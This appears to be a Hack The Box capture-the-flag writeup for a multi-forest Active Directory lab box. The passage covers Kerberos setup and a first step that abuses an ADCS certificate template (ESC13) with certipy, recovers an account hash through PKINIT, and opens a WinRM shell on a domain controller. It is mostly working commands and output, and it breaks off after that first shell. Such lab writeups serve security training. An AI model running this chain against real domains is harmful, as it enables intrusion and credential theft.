Hack The Box - Season 10 HTB PingPong Writeup - INSANE- Weekly - April 25th, 2026
Box Overview
Difficulty: Hard | OS: Windows | Type: Active Directory (Multi-Forest)
PingPong is a hard Active Directory machine featuring two forests bridged by a bidirectional trust:
- PING.HTB — DC1:
dc1.ping.htb— external entry point (IP changes per reset) - PONG.HTB — DC2:
dc2.pong.htb— internal-only, reachable via DC1
NTLM is disabled on both domains — every authentication is Kerberos. The host clock has a significant skew from real UTC, requiring a clock workaround on every Kerberos operation. RC4 is also disabled on PONG.HTB, mandating AES256 keys.
Targets:
- User flag:
C:\Users\C.Carlssen\Desktop\user.txton DC2 - Root flag:
C:\Users\Administrator\Desktop\root.txton DC1
Pre-Engagement Setup
Variables
DC1_IP=<DC1_IP> # Changes per reset
ATTACKER_IP=<ATTACKER_IP> # Your VPN IP — verify with `ip addr show tun0`
DC2_IP=<DC2_INTERNAL_IP> # Fixed internal IP for DC2
/etc/hosts
sudo sed -i "/ping\.htb/d;/pong\.htb/d" /etc/hosts
echo "<DC1_IP> dc1.ping.htb ping.htb" | sudo tee -a /etc/hosts
echo "<DC2_INTERNAL_IP> dc2.pong.htb pong.htb" | sudo tee -a /etc/hosts
/etc/krb5.conf
[libdefaults]
default_realm = PING.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
kdc_timesync = 1
forwardable = true
[realms]
PING.HTB = {
kdc = dc1.ping.htb
admin_server = dc1.ping.htb
}
PONG.HTB = {
kdc = dc2.pong.htb
admin_server = dc2.pong.htb
}
[domain_realm]
.ping.htb = PING.HTB
ping.htb = PING.HTB
.pong.htb = PONG.HTB
pong.htb = PONG.HTB
Tmux Session
Create a clean tmux session for managing all interactive windows:
tmux new-session -d -s pp -n work
Windows we'll create:
dc1— evil-winrm shell on DC1 as c.robertsligolo— ligolo-proxy servermssql— impacket-mssqlclient as C.Adamroot— evil-winrm as Administrator (final step)
Verify VPN IP
Critical: Always verify your VPN IP before starting — it can change between sessions and the ligolo agent must connect back to the correct address:
ip addr show tun0 | grep inet
Clock Skew Workaround
The DCs run on a clock that is significantly ahead of UTC. Wrap every Kerberos-related command with faketime '+<Houur> hours' to compensate. The exact offset can be discovered from the Kerberos error response or nmap's clock-skew script.
STEP 1 — Initial Access: ADCS ESC13 → WinRM on DC1
Entry credentials (assumed breach scenario): c.roberts / <REDACTED> @ ping.htb
1.1. Get Initial TGT
faketime '+<Houur> hours' impacket-getTGT 'ping.htb/c.roberts:<REDACTED>' -dc-ip <DC1_IP>
Output:
[*] Saving ticket in c.roberts.ccache
1.2. Enumerate ADCS
KRB5CCNAME=c.roberts.ccache faketime '+<Houur> hours' certipy-ad find \
-u c.roberts@ping.htb -k -no-pass \
-dc-ip <DC1_IP> -target dc1.ping.htb -stdout
Key findings:
- CA:
ping-DC1-CAondc1.ping.htb - TemporaryWinRM template (ESC13): enrollable by Domain Users, Client Authentication EKU, issuance policy linked to
TempWinRMAccessgroup - SmartcardAuthentication template: target for later ESC4
1.3. Request TemporaryWinRM Certificate (ESC13)
ESC13: when a certificate template's issuance policy maps to a security group, enrolling the certificate transfers that group membership to the holder via the PAC's issuance policy SID extension.
KRB5CCNAME=c.roberts.ccache faketime '+<Houur> hours' certipy-ad req \
-u c.roberts@ping.htb -k -no-pass \
-target dc1.ping.htb -dc-host dc1.ping.htb \
-ca ping-DC1-CA -template TemporaryWinRM
Output:
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Got certificate with UPN 'C.Roberts@ping.htb'
[*] Certificate object SID is '<C_ROBERTS_SID>'
[*] Saving certificate and private key to 'c.roberts.pfx'
c.roberts SID captured — needed for the cross-forest DACL abuse later.
1.4. PKINIT Authentication
The PKINIT TGT is special: it includes the issuance policy SID mapping that grants TempWinRMAccess membership. A password-based TGT does NOT include this. Use the PKINIT ccache for WinRM operations.
rm -f c.roberts.ccache # Avoid the overwrite prompt
faketime '+<Houur> hours' certipy-ad auth -pfx c.roberts.pfx -dc-ip <DC1_IP>
Output:
[*] Got TGT
[*] Saving credential cache to 'c.roberts.ccache'
[*] Got hash for 'c.roberts@ping.htb': <REDACTED>
1.5. WinRM Shell on DC1
Open in tmux for persistence:
tmux new-window -t pp -n dc1
tmux send-keys -t pp:dc1 "KRB5CCNAME=c.roberts.ccache faketime '+<Houur> hours' evil-winrm -i dc1.ping.htb -u c.roberts -r PING.HTB" Enter
Verify access: